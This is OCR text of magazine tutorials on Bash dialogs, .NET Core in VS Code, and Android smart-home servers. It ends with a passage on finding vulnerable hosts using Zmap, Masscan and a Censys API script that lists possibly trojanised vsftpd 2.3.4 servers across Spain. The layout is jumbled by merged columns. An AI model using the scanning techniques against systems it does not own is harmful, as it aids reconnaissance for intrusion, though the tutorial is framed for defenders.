Adding a graphical user interface to a script is not really
A few strategically dificult: a few strategically placed invocations of Dialog are
enough to make a script accessible to non-technical operators.
placed invocations of If other dialog processors replace Dialog, the programs can
even be integrated into fully graphical user interfaces.
Dialog are enough to make Be aware that our trip through the world of Bash is not
over yet. The next part of this tutorial will link your shell
a script accessible to scripts to Gnuplot and will also discuss how to integrate
custom applications into Shell. Stay tuned – there’s always
non-technical operators more to learn!

www.linuxuser.co.uk 31

028-031 Bash Masterclass Tutorial PK NEW.indd 31 07/09/2016 14:40

 Tutorial .NET Core

Develop with .NET Core

on the Linux desktop
Take Visual Studio Code for a test drive and experience
.NET Core development. Code, build, debug and test,
all from the comfort of your Linux desktop!
Microsoft has released an open source, modularised form support for Batch, C++, Clojure, CoffeeScript, DockerFile,
of the .NET technology base called .NET Core that is cross- Elixir, F#, Go, Jade, Java, HandleBars, Ini, Lua, Makefile,
platform and offers support for a variety of Linux distros. Objective-C, Perl, PowerShell, Python, R, Razor, Ruby, Rust,
Kevin Wittmer The companion, .NET Core SDK, provides the command-line SQL, Visual Basic and XML.
Kevin is a software
technologist and IT tooling to create simple .NET scaffold code, download project • Plug-In architecture: Visual Studio Code offers Intellisense
manager at the Bosch dependencies, compile, package and publish. However, to fulfil code completion, debugging, snippets support and code
group. He deeply enjoys
Linux and has fond
the story of .NET Core development on Linux, you need an editor refactoring capabilities by supporting an open, plug-in
memories of hacking that can support the iterative code-edit-debug cycle. Enter or extension-based architecture. Leveraging this plug-in
Minix back in the early Visual Studio Code, a rich, cross-platform editor that is highly architecture, the open source community has delivered
Nineties. He also enjoys
extensible, supports several programming languages, includes a powerful language extensions for JavaScript, TypeScript, C#,
crafting software,
particularly with C#. debugger and has built-in Git client support. F#, C/C++ and Python.

Introducing Visual Studio Code True to its open source roots, Visual Studio Code provides
Visual Studio Code is a free, open source editor spawned by embedded Git control for standard client actions. It also has
Microsoft with key contributions coming from industry notables, built-in debugging support for the Node.js runtime. The general
namely Erich Gamma who co-authored the classic text Design philosophy of the Visual Studio Code editor is to make features
Patterns: Elements of Reusable Object-Oriented Software discoverable from a keyboard-centric, autocompletion-enabled
Resources (1994) as part of the Gang of Four (GoF). Similar to .NET Core, command palette, rather than deep menu hierarchies rendered
Fedora installation Visual Studio Core is open source software distributed with the in a complex UI. These features are either built in or can be
instructions for MIT licence and maintained on GitHub. The main building blocks dynamically loaded into the code editor via extension or injected
.NET Core of this slim, fast, cross-platform editor are as follows: via JSON-based files. In the steps we will overview .NET Core
microsoft.com/net/
development using Visual Studio Code and the .NE T Core SDK.
core#fedora
• Cross-platform shell: Visual Studio Code leverages portions
Visual Studio Code
code.visualstudio.com
C# Extension for
of the Electron open source project for cross-platform shell
support spanning multiple UI areas.
• Rich Editor: Monaco is used as the code editor, offering
01 Install .NET Core SDK
along with Visual
Studio Code
Visual Studio Code
code.visualstudio.com/ rich, language-based syntax highlighting. Visual Studio To begin, you will need to install
docs/languages/csharp Code uses the Monaco editor to realise syntax highlighting the .NET Core SDK and Visual
Studio Code editor. Binaries for
both the .NET Core SDK and Visual
Studio Code editor are available
for download from Microsoft (using the links given in Resources,
on the left). Linux distros officially quoted as being supported
by the Visual Studio Code editor are not quite as broad as the
.NET Core SDK, as this list currently includes Ubuntu, Debian,
Red Hat, Fedora and CentOS. Expect that Linux distros officially
listed will widen and shift over the next months.
The command series below, placed into a simple Bash script,
Right will download and install the SDK and editor bits into Fedora
Visual Studio Code in one shot. In the case of Fedora, we have targeted release 23
is an open source which comes with the newer dnf package management tooling
editor that supports that provides improved dependency resolution and online
development in repository interaction.
C# and numerous
other programming #!/bin/bash
languages sudo dnf install -y libunwind libicu

32

032-035_LUD170 PK.indd 32 07/09/2016 14:45

 curl -sSL -o dotnet.tar.gz https://go.microsoft.com/
fwlink/?LinkID=816869 Marketplace
sudo mkdir -p /opt/dotnet && sudo tar zxf dotnet. of add-ons for
tar.gz -C /opt/dotnet Visual Studio
sudo ln -s /opt/dotnet/dotnet /usr/local/bin
Code
Visual Studio Code
offers an online
curl -sSL -o code.el7.x86_64.rpm https://go.microsoft. marketplace of free
com/fwlink/?LinkID=760867 extensions that can
sudo dnf install -y code.el7.x86_64.rpm quickly and easily
be downloaded and
installed. Here is a
The obvious difference between the installation of the SDK mkdir ShellSort
small sampling of
and editor is that one comes as a tar archive file and the other cd ShellSort extensions that you
as an RPM package. Over time this may change as Microsoft, dotnet new might find useful
together with the open source community, further optimises as you code in C#
the delivery of these tools across the Linux distro landscape. If this is the first time you have created a .NET project in your from the Linux
Preferably Linux distro support will align to package distributions local Linux environment, .NET Core will spend some extra time environment:
maintained in the universal repository of the respective distro. to initialise. In this example we are preparing a new .NET source
• vscodevim – brings
Upon successful execution of this script, you can run project for shell sorting. The shell sort algorithm is a variation of Vim emulation
dotnet -version to confirm the .NET Core version info. You can the elementary insertion sort algorithm that is more efficient for to Visual Studio
make a similar check of Visual Studio Code using code -version large unordered arrays. The dotnet new command will yield an Code. Install using
from the shell prompt. empty Program.cs along with a default project.json file. keyboard shortcut
Ctrl+P then ext
install vim.

02 Install the C# extensions

into Visual Studio Code
Once installation is complete, you
• rest-client –
provides an
integrated REST
can fire up Visual Studio Code from Client where HTTP
the command line using the code requests can be
command. An additional step is send and results
displayed from
needed to prepare the editor for C#
development. This involves installing
the C# extension into Visual Studio
04 Open the project from within Visual Studio Code
Go to File>Open Folder. Select the ShellSort folder.
This will change the editor’s working folder context to the newly
within Visual Studio.
• yo – short for
Yeoman, a Rails-
Code. The C# extension supports created directory. Visual Studio Code should then prompt inspired generator
.NET Core tooling, advanced C# editing, cross-platform to add additional project files. Respond Yes to the prompt to system that
debugger capabilities and project.json integration. Installation ‘Required assets to build and debug are missing from your provides scaffolding
for a number
can happen in one of two ways: either manually using the ext project. Add them?’ and Visual Studio Code will then create
of frameworks
install csharp command from Quick Open facility (accessible the .vscode subdirectory, which is used to maintain additional including
via Ctrl+P), or by opening a C# project and accepting the JSON-based configuration files (at the project level). Within ASP.NET Core.

Visual Studio Code provides embedded Git control

for standard client actions. It also has built-in debugging
support for the Node.js runtime
suggestion of Visual Studio Code to install the C# extension. this hidden directory you will find two files: launch.json and
Following download and installation of the extension, Visual tasks.json. These files are used by the build and test tasks as
Studio Code will prompt you to enable the extension followed well as the debugger. Visual Studio Code will likely also prompt
by an additional prompt to confirm editor restart. Note: at the you to restore dependencies listed in the project.json file, which
time of writing, the quoted distro support of the C# extension you can safely confirm (although there might be a small time
is actually broader than what is listed for Visual Studio Code delay for this intelligent prompting behaviour).
(openSUSE and Oracle Linux are listed, for example).

03 Create a new .NET project from within Visual

Studio Code
05 Code the sorting logic
The next step is to code the
shell sort algorithm inside the Visual
One aspect that is not currently integrated into Visual Studio Code Studio Code editor. The C# class
is creation of a new .NET project via the dotnet new command. shown below encapsulates the logic
However, Visual Studio Code does provide easy access to the of the shell sort algorithm and also
shell prompt. Locate the Integrated Terminal menu item from the offers generic type support using the T type parameter together
View submenu and click on it. Then, from the newly launched shell with the delegate comparison method. The comparison-based
prompt running in an editor view area, type the following: delegate provides flexibility when comparing more complex data

www.linuxuser.co.uk 33

032-035_LUD170 PK.indd 33 07/09/2016 14:45

 Tutorial .NET Core

types. (Note that the complete source code for this project can "dependencies": {
Alternative be found on the cover disc.) "xunit": "2.2.0-beta2-build3300",
editors for "dotnet-test-xunit": "2.2.0-preview2-build1029"
C# coding in public class ShellSorter },
Linux {
Visual Studio Code public delegate bool IsGreater<T>(T a, T b); You can also achieve the dotnet restore step manually. This can
is not the only be accomplished from View>Command Palette. Type dotnet and
editor available for public static void Sort<T>(T[] array, IsGreater<T> then use autocompletion to navigate to the dotnet restore entry,
C# coding in the isArg1Greater) then hit Enter to trigger the restore step.
Linux environment. { With the xUnit dependency added to the project.json
Leveraging the
int h = array.Length/3; configuration file, create a simple xUnit test as follows:
OmniSharp software
base, Intellisense while(h > 0) using Xunit:
support for the {
C# programming for(int i = h; i < array.Length; i++) public class ShellSortTest
language is { {
available from other int j; static bool ShortComparer(short a, short b) => a
editors including
Vim, Emacs and
T dataObject = array[i]; > b;
Sublime. OmniSharp for(j = i; j >= h &&
is a software isArg1Greater(array[j-h], dataObject); j-=h) [Fact]
technology that { public void TestFirstAndLastSort()
provides Intellisense array[j] = array[j-h]; {
capabilities for } short[] data = {10,7,3,1,9,7,4,3};
rich code editing
in C#. Intellisense
array[j] = dataObject; ShellSorter.Sort<short>(data, ShortComparer);
integration } Assert.Equal((short) 1, data[0]);
leverages the plug-in h/=2; Assert.Equal((short) 10, data[7]);
architecture of } }
these popular, well- } }
established editors. }
OmniSharp-aware
For brevity, we have only included assertions that test the first
plug-ins will connect
to a background To consume the sorting algorithm class, place the following code and last members of the array. With the unit test code defined,
OmniSharp server. in the Program.cs file. you can use the keyboard shortcut Ctrl+Shift+B to build the
In the case of updated source code project.
Omnisharp-vim, static bool ShortComparer(short a, short b) => a > Add this to the tasks.json file:
both the newer b;
omnisharp-roslyn
server as well as
{
the longer-standing And include this code fragment in the Main method of the "taskName": "test",
OmniSharp server Program class: "args": [
can be configured "${workspaceRoot}/project.json"
as the background short[] data = {10,7,3,1,9,7,4,3}; ],
server providing ShellSorter.Sort<short>(data, ShortComparer); "isBuildCommand": false,
IntelliSense
capabilities. Going
"isTestCommand": true,
beyond Emacs or With the source code inserted, you can use the Visual Studio Code "problemMatcher": "$msCompile"
Sublime, you can shortcut Ctrl+Shift+B to build the source code project. }
transition into Linux-

06
friendly IDEs such Run unit tests from Visual Studio Code To trigger the test runner from a keyboard shortcut, add the
as MonoDevelop Let's craft a simple xUnit.net following to the keybind.json file:
and SharpDevelop.
test class to test the sorting logic.
However, these
code development First, however, we need to add the [
tools have not yet xUnit dependency to the JSON-based { "key": "ctrl+shift+q", "command": "workbench.
been retrofitted project specification. This involves action.tasks.test" }
to work with .NET updating the project.json file with ]
Core, but likely it is the xUnit dependencies. The Visual Studio Code editor is smart
only a matter of time
enough to detect dependency changes in the project.json and After saving keybind.json, you can immediately use the
before open source
efforts realise this check to see if the .NET dependencies exist locally. If this does keyboard shortcut Ctrl+Shift+Q to run all unit tests in the
augmented support. not, Visual Studio Code will attempt a restore operation by project scope. Unit tests that passed, failed and were skipped
prompting you to initiate such an action. appear in the textual text execution summary.
To configure the .NET project for unit testing, update
project.json to include the following:

"testRunner": "xunit",
07 Debug your code
To debug from Visual Studio Code, set a break point
in the sort method and launch the debugger. The debugging

34

032-035_LUD170 PK.indd 34 07/09/2016 14:45

 tool can be launched by clicking to open folder-based navigation. Then proceed to open
the debug button available in the the project-specific tasks.json file residing in the hidden
vertical button bar. Alternatively, vscode subdirectory. Replace the contents of this file with
you can use the keyboard the task definitions provided below, which add new tasks
shortcut Ctrl+Shift+D. Once the for test, pack and publish:
debugging tool is activated, you
are ready to start. First, check and confirm the right debug {
target is selected, in this case the .NET Console. After this, "version": "0.1.0",
use the mouse pointer to press the Green player button "command": "dotnet",
located in the Debugging toolbar or simply press F5. The "isShellCommand": true,
breakpoint previously defined will be triggered during "args": [],
program execution. At this moment you have the basic "tasks": [
debugging options available to you, including step over, step {
into, continue and stop. The hotkeys for these standard "taskName": "build",
debugging options are: Continue (F5), Step Over (F10), Step "args": [
Into (F11), Step Out (Shift+F11), Restart (Ctrl+Shift+F5) and "${workspaceRoot}/project.json"
Stop (Shift+F5). ],
"isBuildCommand": true,

08
To
More debugging
techniques
complement the basic
},
{
"problemMatcher": "$msCompile"

debugging capabilities of Visual "taskName": "test",

Studio Code, the C# debugger "args": [
(extension) also supports "${workspaceRoot}/project.json"
displaying data in the Variables section (below Locals), ],
the Call Stack of recent methods, watching or displaying "isBuildCommand": false,
Variable values (using add variable watch) and catch and "isTestCommand": true,
display of user-unhandled exceptions and exceptions "problemMatcher": "$msCompile"
of all types. To recap the code-edit-debug cycle when },
working with Visual Studio Code, here are some helpful {
keyboard shortcuts: "taskName": "pack",
"args": [
Ctrl+Shift+B "${workspaceRoot}/project.json"
Build source/project ],
"isBuildCommand": false,
Ctrl+Shift+D "isTestCommand": false
Start debugger },
{
Ctrl+Shift+Q "taskName": "publish",
Run unit tests "args": [
"${workspaceRoot}/project.json"

09 Custom editor
tasks
Visual Studio Code also supports
],
"isBuildCommand": false,
"isTestCommand": false
definition of custom editor tasks. }
In the example here, additional ]
tasks for the dotnet pack and }
dotnet publish commands are defined as they are not
currently supported by Visual Studio Code out-of-the-box The pack and publish custom tasks defined here reference
(however, we expect this will change in the near future). the workspace project.json as an input argument and require
As a quick introduction or reminder, the dotnet pack no processing output. With these tasks defined, you are ready
command builds the project and creates NuGet packages. to map them to keyboard shortcuts by defining the following
The result of this operation is two NuGet packages: one entries in the keybind.json file:
package contains the code and the other contains the
debug symbols. Pack is different in that it is oriented to [
runtime deployment, as the dotnet publish command { "key": "ctrl+shift+q", "command": "workbench.
will place the application and all of its dependencies into a action.tasks.test" },
single, publish-ready folder. { "key": "ctrl+shift+9", "command": "workbench.
To add custom tasks in Visual Studio Code, you need to action.tasks.runTask" }
modify the task.json file. To begin, use the folder button ]

www.linuxuser.co.uk 35

032-035_LUD170 PK.indd 35 07/09/2016 14:45

 Tutorial Android home server

Use an old Android phone

as a smart home server
Turn that old Android phone in your drawer into the centre of your smart home
An Android phone makes a surprisingly good smart
home server. Even a relatively old device will have a
decent amount of storage, Wi-Fi connectivity, lots of
sensors and, best of all, use a minimal amount of power.
From a software perspective, Android is hugely lexible.
As well as the option of using trigger/action-based
applications such as Tasker, Android – with its Linux base
– can use traditional command-line scripts.
One of the beneits of building your own home
Paul O’Brien automation system (so far as is possible) using a
is a professional cross-
dedicated device is that you have a lot more control over
platform software
developer, with extensive your privacy compared to using an online provider. It
experience of deploying also reduces the amount of lock-in you have to a speciic
and maintaining Linux service – you can more easily change or expand your
systems. Android, built on
top of Linux, is also one of smart home setup.
Paul’s specialist topics. Your Android phone can function as a more traditional
smart home server, hidden away somewhere just
connected to a power source, or another option is to use
Resources the hardware features – such as the sensors or camera –
Tasker for additional functionality. Perhaps a combination if you
bit.ly/1i0IuDw
IFTTT have more than one old phone lying around! With prepay
ifttt.com phones well under £50, it’s even a cheap project from new.
SL4A
bit.ly/2byqjtf
Busybox
busybox.net/
01 Get started
with Tasker
For much of your smart home
Ulti Server
bit.ly/19UzN8w control via your Android device, you
TeamViewer are going to want to set up triggers
QuickSupport and actions. For this, Tasker is
bit.ly/1clagJQ
the undisputed king. Available for
IP Webcam
bit.ly/1KqZpyq
download free from the Google Play
Kodi Store, Tasker offers a huge number
bit.ly/1G8mSQg of built-in features, but most
joaomgcd importantly it is also extensible
bit.ly/2bcKHBu using third-party plug-ins, should
Vodafone Smart the built-in actions (which number
Prime 6 Above Your Android device can keep an eye on your
over 200!) not provide what you need. Triggers can be simple
bit.ly/2aZeaer house when you’re not home
factors such as time of day, light level, power state, device
orientation, Wi-Fi or Bluetooth device/network proximity, or a
complex combination of these – Tasker functionality really is
limited mostly by your imagination.
02 Automate with IFTTT
Tasker allows you to automate using triggers and
actions locally on your device. IFTTT (If This Then That)
After installing the application, you should set up your takes the same paradigm and applies it to the internet.
irst Proile. Press the ‘+’ button at the bottom of the screen IFTTT works on the principle of channels (of which there
and you’ll be prompted for the ‘Context’ (trigger). Start with are a huge number). Something happening in one channel
something simple such as a time period, then you will be can trigger something else in another. For example, using
prompted to create a new task. Tasker has both entry and exit the IFTTT app for Android, the location channel could
tasks, so using the example of a time trigger, you could have be triggered when the device moves out of a previously
one task running at the start of the time period and another deined geofence (for example, it leaves the house). This
at the end. could then trigger activity in another channel, such as

36

036-039_LUD170 PK.indd 36 07/09/2016 14:47

 Alternatives to Android
If you don’t have an Android device kicking around, what are
your alternatives? Probably the most widely used is a Raspberry
Pi running a basic Linux distro, but it will definitely be a more
manually crafted system than the rich GUI experience you get with
Android (whether that is good or bad, you decide).

using an Android phone as the

centre of your system makes a
lot of sense. If the power goes off
and you’re using a regular server,
then you’re in trouble – even if you
have an uninterruptable power
supply, internet connectivity is
likely gone. That’s not the case
if you base your system on an
Android phone with a cheap PAYG
SIM. You can use Tasker’s SMS
action to send a message to a
predeined number (you’ll ind it
in the Phone section).
A good example of this would be using the State>Power
exit task to trigger a notiication that ires in the event of a
power cut. In the same way, you could use the entry task
to let you know when power is restored. Far better than
coming home to a freezer full of defrosted food!
Even more clever is using Tasker’s ‘command’ option
to run a periodic ping. You could use this to check for a
speciic device on the home network. If you are expecting
a child home, you could ping for their mobile phone
arriving and send an SMS when they are spotted in range.

turning off the heating using IFTTT’s Nest connectivity.

Again, the system is incredibly lexible and it’s possible to
04 Run scripts on
your phone
As mentioned, it is possible to run
craft very complex ‘recipes’. If you are just getting started, commands on the device and read
other users’ recipes are available to view on the IFTTT site the output into a Tasker variable
for inspiration. to be used to trigger actions on
The one weakness in IFTTT is that, surprisingly, speciic responses. A basic one-
there is not currently a channel that connects directly line command may not be enough,
to Tasker. This can be worked around to a degree using however, and the beauty of Android
the Pushbullet application, which can work as an being based on Linux is that if we
intermediary between the two worlds. This harnesses the want to write a more complex script
power of Tasker’s third-party plug-ins and IFTTT’s huge (at least within the limitations of
variety of channels. Busybox, found on most Android
devices), we can! To do so, we

03 Set up alerts via SMS

If something happens in your smart home and
you’re not there, there’s a good chance you’ll want to
simply use the Code>Run Shell function to call a script we
have stored in an appropriate place on the device (such as
/sdcard). Scripts are best tested using ADB via a PC and
know about it straight away. This is one situation where unless your device is rooted, it’s worth bearing in mind that
access rights to parts of the device will be limited.
SL4A (Scripting Language 4 Android) scripts are also
For much of your smart supported, which enables compatibility with additional
languages including Python, Perl, JRuby, Lua, BeanShell,
home control, you are going JavaScript and Tcl.

to want to set up triggers

and actions
05 Hosting servers on Android
If you want to run more complex scripts from your
device itself and make your Android device behave more

www.linuxuser.co.uk 37

036-039_LUD170 PK.indd 37 07/09/2016 14:47

 Tutorial Android home server

To get up and running you just need to download an app

from the Play Store to start broadcasting. The cleverly
named IP Webcam is just the ticket and works well with
our favourite webcam viewer, TinyCam. IP Webcam can
upload video to Dropbox, SFTP or FTP servers, stream
audio only if required, perform motion detection on a
speciied area (with, you guessed it, Tasker integration)
and much more. At the great price of free, with a paid
version available to enable additional functionality, it’s an
incredibly useful tool.
The app also includes sensor data acquisition with
online web graphing, so even remotely you can get a good
idea of what is going on around your device.

like a normal smart home server, you may well want to

serve web content from the device. This is possible!
One option is to install a full Linux chroot on the device
(see issue 168); although this is the most powerful option,
however, it’s not strictly necessary. A number of Android
apps are available to provide a server environment,
07 Media serving and NAS
A common smart home feature is serving media
content around the home using a platform such as Plex.
including Ulti Server, which offers not just a web server Android devices are actually better suited to this functionality
but a full PHP and MySQL stack too, as well as DyDNS, than you might expect, with microSD storage expansion and
FTP, FTPS, SFTP and SSH. most devices now supporting USB OTG (enabling the ability to
If you just want to use a remote connection for tasks attach a hard disk or lash drive directly to the phone).
such as coniguration and updating, respected remote The main bottleneck to running this sort of setup occurs if
control provider TeamViewer provides a free Android transcoding content is necessary. Although CPUs and GPUs in
Host, TeamViewer QuickSupport. Bear in mind that phones and tablets are powerful nowadays, the transcoding
ADB provides an option for connecting over TCP too, engines we’ve seen in action typically aren’t well optimised for
provided you are within your home network (it’s not a this purpose, the exception being on the excellent (but pricey)
good idea to forward ADB ports outside your network as it Nvidia Shield.
is unsecured).

Picking up a cheap Android device

06 Turn your phone into an IP camera
We mentioned previously that Android devices
typically have a wide range of sensors that can be used
If you don’t have a spare Android phone hidden away somewhere,
does that mean you can’t play? Of course not! As well as picking
up second-hand devices cheap in the usual places, you can also
for smart home functionality, but the best sensor of all pick up brand new devices for a surprisingly low cost now. For
in most phones is the camera. Home IP cameras are example, the Vodafone Smart prime 6 is £35, has a wide range of
typically quite expensive, so why not use your Android sensors and a surprisingly decent camera. Perfect!
phone for this?

38

036-039_LUD170 PK.indd 38 07/09/2016 14:47

 Plex Server availability itself is limited on Android, but
another popular alternative – Kodi, available for download from
the Play Store – now works well and, best of all, it’s free. If you
are able to provide a VPN for external use using your broadband
router, you can even connect to your home network when you
are away and stream content directly. It feels particularly
impressive when it’s all running from that little Android phone!

09 Expand your smart home system

If your Android phone is your first venture into
the smart home, you’re well placed to make sure that
as you expand your setup, you do so in such a way that
you can easily integrate all of the pieces together. What
does this mean? It means that when you add new smart
functionality, such as heating control, lighting control
and power monitoring, you can do so in such a way that
you ensure everything can interoperate and doesn’t end
up isolated.
The questions you need to ask before you buy are ‘Does
the product integrate with IFTTT or similar?’ and, if you like
to get your hands dirty, ‘Is there an open API?’ The latter
is recommended because it means if the online services
don’t provide exactly what you want, then provided you can
rustle up a bit of your own code, you can get things working
exactly as you want them to. It also removes a dependency
on an external service. Not to mention it’s more fun to hack
things together yourself!

10 Wear, voice command

and advanced
functionality
When you have your basic system
set up and running as you want,
then it’s a good time to get to

08 Sensing users’ presence

Earlier on in this guide we mentioned using Tasker’s
ping functionality to determine when a specific person is in
the really clever stuff. Why not
control your smart home with
your voice? How about hooking
the house. With a bit of clever thinking, there are lots of ways to the system into your Android
expand this. Wear device? For this sort of next-
The ping approach works, provided the person in question level functionality, there is one
has their device with them and it is connected to Wi-Fi. But particular developer with a range
if that’s not always guaranteed, what else can we use? If of plug-ins that will make your device easier – search for
the person is carrying any sort of fitness tracker (such as a ‘joaomgcd’ on the Play Store. His ‘Auto’ products include
Fitbit), then Bluetooth Near could be used as an additional AutoVoice for custom Google Now voice commands;
metric. Bear in mind that when designing triggers, they are not AutoWear, for Android Wear of course; and AutoLocation,
mutually exclusive – you can apply ‘OR’ on conditions to specify for advanced location-based actions.
a broader range of criteria. If you have a smart TV, you could One particularly interesting product is AutoRemote,
even watch for that appearing on the network, indicating that which uses push messages to remotely control your
someone is home and has switched it on. Try to be innovative! phone, PC, web, IFTTT and Tasker. The system is

It feels particularly impressive when it’s all

running from that little Android phone!
This thinking can also be applied to any third-party smart amazingly flexible and can be particularly useful for
home hardware in use. Querying Nest state, LightwaveRF pinging messages quickly between multiple platforms, for
energy monitor data or other similar products can provide example your PC and your home control Android phone, or
additional hints as to user behaviour. your main phone and your home control device.

www.linuxuser.co.uk 39

036-039_LUD170 PK.indd 39 07/09/2016 14:47

 Tutorial Scan for vulnerabilities

Leverage Censys to find well-known

vulnerabilities in your servers
The Censys engine will help you ind vulnerable hosts that belong to
your organisation without the pain of mass-scanning the network
Scanning your network in search of well-known quicker than other port scanners, such as nmap. Let's give it
vulnerabilities is noisy and time-consuming. Although a try; install it:
there are tools that can help you decrease the time it takes
to scan an entire IPV4 network address space, such as Zmap # apt-get install zmap
and Masscan (covered in this tutorial), you should be aware
of some freely available services that perform internet-wide Now let's imagine you want to search for servers on your
scanning on a regular basis, exposing their results to anyone entire network that are listening on TCP port 80:
who cares to use them. This is precisely the case with Censys
(see References). Censys holds a huge amount of data that # zmap -B 10M -p 80 XXX.YYY.ZZZ.0/24 -o -
Toni Castillo can be parsed either by using its own search engine or by
Girona calling its API (using Python and other high-level languages). The previous command will inish quickly, showing you a list of
holds a bachelor's degree
in Software Engineering All of this data has been gathered at some moment in time. listening hosts. If you want to store the results on a JSON ile for
and works as an ICT Therefore, you can search for any particular hosts without further processing, re-run the previous command this way:
Research Support expert
in a public university sited
actually performing a connection to them. This allows you to
in Catalonia (Spain). He be quieter. The bad news, though, is that this is something # zmap -B 10M -p 80 XXX.YYY.ZZZ.0/24 -o 80tcp.json
writes regularly about that the bad guys (you know, Black Hats), are actually -O json
GNU/Linux in his blog:
performing every single day too. By using this huge database,
disbauxes.upc.es.
they can search for some well-known vulnerable servers all Zmap, however, does not perform a scan of multiple ports
around the world and then execute an exploit to take them at the same time; you have to run a different scan for each
over. It is not all doom and gloom, though. In this tutorial, you desired port. Besides, Zmap does not establish a connection
will learn how to leverage Censys to protect your systems. to the actual hosts in order to get their banner (as some
port-scanners do, such as nmap). You have to combine
Resources Zmap different utilities in order to achieve this (such as Zgrab). This
Censys data is fed by massive scans using Zmap. Zmap can is precisely what Censys does on a regular basis: massive
Zmap
https://zmap.io/ be used manually to scan an entire TCP IPV4 address space Zmap/Zgrab scans.

Masscan
http://bit.ly/1pSDGls
Censys Database
https://www.censys.io/
Censys API
http://bit.ly/2bQpRVI
Heartbleed bug
http://heartbleed.com/
Heartbleed PoC
exploit
http://bit.ly/2bIKwMJ

Right Searching
for potentially
Heartbleed-
vulnerable servers
using the Censys
engine still reveals a
shocking number of
221, 501 hosts (at the
time of writing)

40

040-043_LUD170 PK.indd 40 07/09/2016 16:24

 Censys holds a huge HTTP/1.1 403 Forbidden\x0d\x0aDate: Sat, 06 Aug 2016
07:14:27 GMT\x0d\x0aServer: Apache/2.2.16 (Debian) Censys API
rate limits
amount of data that can You can save the results to a JSON ile for further processing If you have been

be parsed by using its too if you like: following this tutorial

by running the
proposed Python
own search engine # ./masscan XXX.YYY.ZZZ.0/24 --ports 80 --banners
--source-port 6666 -oJ 80tcp.json
scripts, chances
are that you have
encountered the
Masscan Masscan allows you to perform scans on multiple ports at the error message:
nmap is quite powerful when it comes to scanning, same time as well. If you want to search for hosts in your network “censys.base.
CensysRateLimit
ingerprinting, detecting and even exploiting (by means of listening on TCP port 23 (Telnet) and TCP port 21 (FTP), run
ExceededException”.
using its scripts) vulnerable servers. But it is slow. From our Masscan like this: This is explained
previous description of Zmap, you know that there are other on the Censys
sorts of port-scanners that get the job done quicker. But # ./masscan XXX.YYY.ZZZ.0/24 --ports 21,23 web page. It is a
Zmap on its own only scans open ports. If you want to get sort --banners --source-port 6666 -oJ results.json constraint to avoid
of the same basic functionality as nmap without wasting your looding the system
with thousands
time, Masscan is what you need. First, make sure you have git Censys Database of queries. This
installed on your GNU/Linux box and then clone Masscan's If you do not have the time or infrastructure to perform constraint applies
sources from its git repository: regular network scans of your whole network, then surely to your account, so
you can leverage all the data that Censys has in order to you won't fool the
~$ git clone HYPERLINK "https://github.com/ search for potential well-known vulnerabilities in your hosts. system by using Tor!
robertdavidgraham/masscan"https://github.com/ Besides, it is a good idea to know what sort of information is Wait for a while when
you get this error
robertdavidgraham/masscan publicly available about your hosts. You can query Censys by
before performing
using its engine directly from its web interface. For the next more queries and you
Install its build dependencies before compiling it: scenario, let's imagine you are looking for potential trojanised should be okay.
Vsftp 2.3.4 servers in Spain:
# apt-get install gcc make libpcap-dev
• Open your web browser of choice and navigate to https://
Finally, compile it: censys.io
• Type this into the text box query:
~$ cd masscan • 21.ftp.banner: 220 (vsFTPd 2.3.4) and location.country_
~$ make code: ES
• Click the Search button.
Now let's give it a try. You will perform the very same scan
as before but this time using Masscan instead of Zmap. After a while, the results page will show you a list of hosts
Because now we can connect to the hosts listening on TCP that, at the time of being port-scanned, ran a Vsftp 2.3.4
port 80, we can grab their banner too. Masscan uses its own server. Whether the very same hosts are still up and running
TCP/IP stack, bypassing the one that ships with the system. the same Vsftp version or not, cannot be told without further
That means that if you try to connect to a remote server tests. Each entry in the database has a time stamp so that
during a scan, the packets coming back to your host will never you can know when that particular host was port-scanned.
reach Massccan. To solve this, choose any local TCP port in Bear in mind that most of the hosts shown in the list could be
your system (e.g. 6666) and make sure the local TCP/IP stack running a non-trojanised version of Vsftp 2.3.4.
does not see packets coming back to this port by means of
irewalling it: Using Censys API
Using its web interface is all well and good, but surely you
# iptables -I INPUT 1 -p tcp -dport 6666 -j DROP will need to automate the queries to some extent? In order
to do so, Censys offers an API that can be called from
Now, run the command to search for potential web servers in different programming languages, such as Python. To get
your entire network: access to the API you have to create an account in Censys:
this will then give you a couple of cryptographic tokens (an
# cd masscan API Key along with its API Secret) that you will be using in
# cd bin/ your scripts:
# ./masscan XXX.YYY.ZZZ.0/24 --ports 80 --banners
--source-port 6666 • Open your web browser of choice and navigate to https://
censys.io/register
After a short while, you will be presented with a list of hosts • Fill in the form
listening on TCP port 80 along with their banners: • To get your API key and its secret, go to “My Account” page.
• Your API Key and API Secret will be under the “API
Banner on port 80/tcp on XXX.YYY.ZZZ.129: [http] Credentials” section

www.linuxuser.co.uk 41

040-043_LUD170 PK.indd 41 07/09/2016 16:24

 Tutorial Scan for vulnerabilities

Because we will be calling this API from Python, you have to print result[:30]
install the Censys Python library as well: except:
print “Timeout or error”
# pip install censys
Don't forget to import the socket library and to set a desired
To illustrate how to use Censys API, you will be performing the value for the timeout variable:
same query as before (i.e, searching for potential trojanised
versions of Vsftp 2.3.4 in Spain), but this time writing a script import socket
in Python. Grab your favourite ASCII editor and write the ….
following down: timeout = 5

#!/usr/bin/python Save it and execute it once again. Now, for each host reported
import sys by Censys, you will be establishing a TCP connection in order
import censys.ipv4 to grab a few bytes from the host. You are basically obtaining
its banner to make sure it matches up:
UID=”your API Key”
SECRET=”Your API Secret” X.Y.W.Z Updated at: 2016-07-23T08:58:42+00:00
fields = ["ip", "protocols"] UP
query= (”21.ftp.banner: 220 \(vsFTPd 2.3.4\) “ 220 (vsFTPd 2.3.4)
“and location.country_code: ES”)
X.Y.W.Z Updated at: 2016-07-23T07:00:12+00:00
ipv4s = censys.ipv4.CensysIPv4(UID, SECRET) UP
for ip in ipv4s.search(query): 220 (vsFTPd 2.3.4)
print ip["ip"] , "Updated at: " ,
updated["updated_at"] The bad guys may be doing the same thing; i.e. connecting to
the hosts and comparing their banners with those reported
Save it as vsftp.py and set its executable bit: by Censys. If they match up, the next step for an attacker
would be to execute an exploit in order to take over the remote
~$ chmod +x vsftp.py system. Of course this is illegal, but if you are testing your
own servers it could be a good idea to make sure they are not
Run it: vulnerable. This is precisely your next scenario!

~$ ./vsftp.py PoC: inding and exploiting Heartbleed-

vulnerable servers
